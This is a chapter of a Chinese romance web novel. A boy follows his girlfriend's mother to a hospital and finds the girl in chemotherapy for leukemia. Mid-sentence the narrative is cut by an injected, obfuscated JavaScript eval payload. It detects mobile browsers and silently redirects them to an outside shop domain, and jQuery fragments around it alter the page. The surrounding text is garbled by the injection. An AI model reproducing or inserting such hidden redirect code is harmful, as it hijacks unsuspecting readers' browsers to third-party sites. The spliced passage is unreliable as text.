秋意愈浓。
距离艺考的时间也越来越近。
艺术班近一半的学生都报了校外的集训班，做最后的冲刺。何润凯给江澈推荐了沪市一个口碑不错的画室，江澈也去了。
国庆，集训班放假，他回了星海。
夜色已深，他刚走出北站，向驰又打来了一通电话。已经是数不清这是今天的第几通了。
向驰的语气里连抱怨都没了，拖腔：“你到底什么时候回来？”
“现在。”
“吃夜宵吗？”
“行。”
“吃什么？”
“随便。”
“……”
最后，夜宵的地点没选外面，去了向驰家里。
安静，也随意。
向驰点了一桌炸串，塑料盒封得紧，揭开时费了些力气。他整张脸都跟着用力，嘴也没闲着：“我说你是不是哪根筋搭错了，在北站待一整天，干嘛？准备在那儿开个旅游团？”
他喋喋不休。
江澈脸上一点波动也没有，微垂着头，不知道在看什么，半晌，他淡声：“我就想看看，她回不回来。”
从清晨到日暮，他在星海站出口看尽了人来人往，始终没看到她。
想来是没回来。
向驰动作一顿，沉默地看了他两秒，无声叹气。
他拿起一串牛肉，递到江澈面前：“别想了。人啊，总得往前看。”
江澈接过，没说话，低头咬了一口。
调料粉沾在舌尖，咸里裹着一点粗糙的辣。
“你这次待几天？”向驰嚼着肉串，含糊地问。
“六天。”
“那还挺久，要不要出去玩？”
江澈想了想，摇头：“算了，还有作业。”
向驰不傻。
有作业是真，不想出门也是真。
江澈这副样子，和之前不太一样。他没有消沉，反而显得过分平静。
也正是这份平静，让向驰有点放心不下。
-
隔天，江澈在家待得无聊，抱着安安出去转了转。
不知不觉，又走到了徐知暖家门口。
大门紧锁。
果然没回来。
他低眼，轻轻一笑，转身。
少年的身影没入巷子转角。
下一秒，另一道影子落在这条小路上。
安绮霜走到门前，拿出钥匙开门进屋。
她把徐知暖最近的一些换洗衣物洗净、收拾好，临走前，又拨通了电话。
“暖暖，妈妈现在在家，你有没有什么想要的？我给你带过去。”
那端静了几秒，似在思考。
然后徐知暖说：“我房间抽屉里，有一本淡黄色的小本子，你帮我带过来吧。”
“好。”
回到医院。
安绮霜还没进病房，就从门上的小窗看见徐知暖伏在病床边干呕。
她快步推门进去，放下东西，走到床边，扶住女儿嶙峋的背。手掌一下下顺着，直到呕劲止住，才小心地扶她重新靠回床头。
化疗期间，副作用接踵而至。
徐知暖体弱，反应尤其剧烈，每一次治疗都像抽走她一层力气。
“妈，”徐知暖缓过气，气若游丝，“我的本子呢？”
“哦，在这儿。”安绮霜打开包，从里面拿出本子，递过去，“给。”
徐知暖接过，双手捧着，慢慢翻开。
本子里夹着东西，书页自然摊开到那一处。
一张照片静静夹在纸页间。
是之前，她偷偷买下的那一张。
苍白泛粉的微微上扬。
眼眶开始发烫。
她咬着唇，想忍住。
可每次，都失败。
她真的好想…好想江澈啊。
-
国庆最后一天。
江澈又去了徐知暖家，用钥匙打开了门。
院子里那棵橘子树，今年结得尤其满。橙黄的果子沉沉坠在枝头，压弯了细弱的枝条，只是今年，大概不会有人摘了。
他望着四周，忽然想起第一次来这儿。
临走时，少女拎着一袋橘子追出来，双眸盈亮地递到他面前。
过年那天，他们并肩坐在这台阶上，有一句没一句地聊着，远处的烟花声此起彼伏。
……
视线转向屋内。
空空荡荡，像一个被遗弃的温柔废墟。
厨房里不会有人再教他做饺子。
也不会再有人陪着他。
他扯唇，笑意转眼散了，低低的声音落在风里：
“早知道结果是这样，不说了就好了。”
……
江澈在台阶上坐了整整一天，直到天色将暗，才缓缓站起身。
起身时，双腿已经麻木得没有知觉。他皱着眉，忍着针扎般的酸麻，一瘸一拐地往院外走。
走到公交车站。
他在长椅上坐下，视线没有焦点地看着路对面。
车流、行人、地摊小店……
一切都像隔着一层毛玻璃，模糊地流动。
一辆公交车靠站，停下，又离开。
乘客上上下下，像流水一样掠过眼前。
他就这么看着。
然后，又一辆公交车停下，车门再次打开。
下来两个人。
一个老人，和一个穿着墨绿色长裙的女人。
女人身形清瘦，侧影有几分……熟悉。
江澈眼睫动了一下，视线慢慢聚焦。
他记性好，视力也好。
只凝神看了一眼，就认出了那人。
徐知暖的妈妈。
心跳沉沉一跳。
他喉结动了动，看着那抹身影，拐进了一条熟悉的小路。
脚步不受控制地迈起，去到路对面。
隔着一段距离，看着她走进那扇门，江澈才停下脚步。
失神了几秒。
思绪才开始迟滞地转动——
如果她妈妈回来了，
那她……
只是这样一个毫无根据的猜想。
也让江澈产生了一种失而复得的希冀。
没过多久，安绮霜走了出来，沿着来时的路往回走，并没注意到站在公交站旁的江澈。
他背身站着，隐在树侧，实在不起眼。
江澈想，如果徐知暖真的回来了，那只要跟着她妈妈，就能知道她在哪里。
他知道这样跟着不好，很不好。
可他没有办法。
他只想见她一面。
哪怕只是一眼，也好。
公交来了，安绮霜上了车。
几乎在同一刻。
江澈从树后闪出，迅速解锁了路边一辆公共自行车，长腿一跨，跟了上去。
秋风在耳旁簌簌作响，急切地扬起少年白色的衬衫衣角，兜住了所有未沉的暮光。
-
公交车一路停停靠靠。
江澈跟到市二院门口，才看见安绮霜下车的身影。他不知道她来医院做什么，只是一路不远不近地跟着，直到“肿瘤治疗中心”几个大字出现在视野里。
说不清为什么，心里忽然慌得厉害。
穿堂风的凉意沿着脊椎一寸寸往上爬。
这里也是住院区。
怕被发现，他退到楼梯间拐角，看着安绮霜走进电梯，才快步跟过去。
抬头，盯着电梯上方跳动的数字。
数字停在了“5”。
旁边墙上的指示牌写着：血液肿瘤内科病区。
江澈进了下一趟电梯。
五楼一到，走廊里很安静。
监护仪的滴滴声从不同病房里传出来，混着隐约的谈话声，显得格外空旷。
他不知道安绮霜进了哪一间，来看望谁。
只好放慢脚步，装作探病的家属，目光看似随意地掠过一扇扇门上的玻璃窗。
可一直没看见她的影子。
经过第五间时，江澈手机忽然一响。
拿出看了眼，是高铁检票的通知。
他没太在意，正要收起。
就在这时。
身旁病房的门“嘎吱”一声，从里面被拉开了。
江澈下意识侧过脸。
安绮霜拎着一个淡蓝色的热水壶，站在门口。
四目相对。
两人同时怔在原地。
安绮霜完全没料到会在这里碰见他。
几乎是瞬间，她想到了病房里的女儿，脸上不受控制地闪过一丝慌乱。
也正是在这令人窒息的寂静里。
熟悉到极致的声音，轻轻从病房内飘了出来——
“妈，你站在门口干嘛呢？”
江澈的心脏漏了一拍，然后失控地擂动。
两个多月。
这个声音第一次如此清晰地撞进耳膜。
可语气里却了无情绪，甚至变得虚弱，无力。
只有嗓音还残存着微甜。
他不敢置信地往里看去。
还没看清，安绮霜已经回过神，迅速侧身挡住他的视线，同时将他往旁边带了半步。
她朝着病房内，语气如常地应道：“哦，没事。”
随即，对着少年压低声调，快速说：
“跟我过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614099|204148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来。”
……
走到走廊尽头。
江澈耳边、脑中，反复回荡着刚才那个声音。全然忘了礼数，没有任何铺垫地，直接问：“她为什么在这儿？”
“谁？”安绮霜本能地还想掩饰。
可她终究低估了这个少年对她女儿的了解。
“徐知暖。”江澈很笃定。
即便没看见脸，他也确信那就是她。还有刚刚在病房门口，安绮霜脸上那一刹的遮掩与失措，他不会看错。
安绮霜其实还是想尊重女儿的意愿，瞒一瞒。
但，面前这个男生，她想，无论今天说与不说，他都不会就此罢休。
停顿了数十秒。
她叹了口气，缓缓道：“暖暖病了。”
心跳一震，江澈神色一僵。
安绮霜继续道：“就是上次，你在家门口碰到我的那天……是她刚刚确诊白血病的时候。暖暖不希望我跟你讲，我也要尊重她的意愿。同学，我不知道你怎么找来的，但暖暖目前，不希望任何人知道。阿姨还是希望你……就当不知道，行吗？让她安安稳稳地接受治疗。而且，她也更希望你能好好的，专心自己的学业，别为她分心。”
说完，她提着水瓶转身走向水房。
只留下少年一个人立在沉蓝的夜幕窗前。
……
回到病房。
徐知暖靠在床头，微垂着眼，似在出神。
安绮霜放下水壶，走到床边坐下，轻声：“暖暖，怎么了？是不是哪里不舒服？”
徐知暖抬眸，对她很淡地笑了笑，摇头。
安绮霜心里搁着事。
其实她也不确定，刚才的事该不该说。
还没想清楚，徐知暖忽然开口：“妈，刚刚门口是谁啊？”
安绮霜脸色微凝，随后弯起嘴角：“哦，一个问路的，说是走错楼层了。”
徐知暖静静看了母亲两秒，然后点了点头，脸上没什么表情。
“是么。”她微顿，声音很轻，“那还挺笨的。”
……
一晚上，江澈都坐在徐知暖病房门口。
隔着门板，他经常能听见里面撕扯般的干呕声、闷哼声，还有安绮霜安抚的声音。
每听到一声，心就锥痛。
从确诊那天，到后来那通决绝的电话，再到这两个月她独自承受的所有，江澈几乎能想象到，她是抱着怎样一种心情，把他推开。
两个月。
整整两个月。
她都浸在这样的痛苦里。
可他却浑然不觉。
甚至在有一刻，还生出过一丝怨怼。
而现在，当他终于知道真相。
知道她生了这样重的病，知道她是迫不得已推开他时。
江澈发现，自己竟然还是在怪她。
上次是秦书南，这一次是她自己。
他原以为，他们之间本该是坦荡的。
可每一次，她都打着“为他好”的旗号，从来不过问他愿不愿意，就擅自将他推开。
但比怨更汹涌的，是对自己的厌弃与无力。
他突然想起江之行某次说过的话。
他确实挺晦气。
妈妈没了。
徐知暖病了。
所有他爱的人、在意的人，好像……都不能好好的。
怒意在胸口横冲直撞，碾骨般的疼痛，啃噬着每一寸尚且完好的知觉。
-
次日上午，安绮霜出去买水果了。
护士进来给徐知暖挂上今天的点滴，轻声叮嘱了几句，便带上门出去了。
昨晚疼得有些厉害，没太睡好。
本想再躺一会儿，却怎么也睡不着，索性就靠着。
出神间。
病房门，被轻轻推开了。
她听见了，但没看去。
也许是护士折返。
也许是妈妈回来了。
今天是个晴暖天。
明澈的阳光漫过窗台，铺满了大半个房间。
余光里。
一道灰影悄然落下。
然后，慢慢地，朝她靠近，最后，停在了病床边沿。
阴影笼罩下来。
与此同时，萦绕着一股干净淡冽的气息，把她不容抗拒地包裹。
徐知暖凝着被子上的灰色轮廓，呼吸渐渐发沉，眼眶泛酸，视线一点点模糊、晃动。
病房内陷入寂静。
她不习惯这种安静，藏在被子下的手指越收越紧。
下一秒。
耳边传来一声轻叹，接着，她听见少年低柔地问：
“还是……不想理我？”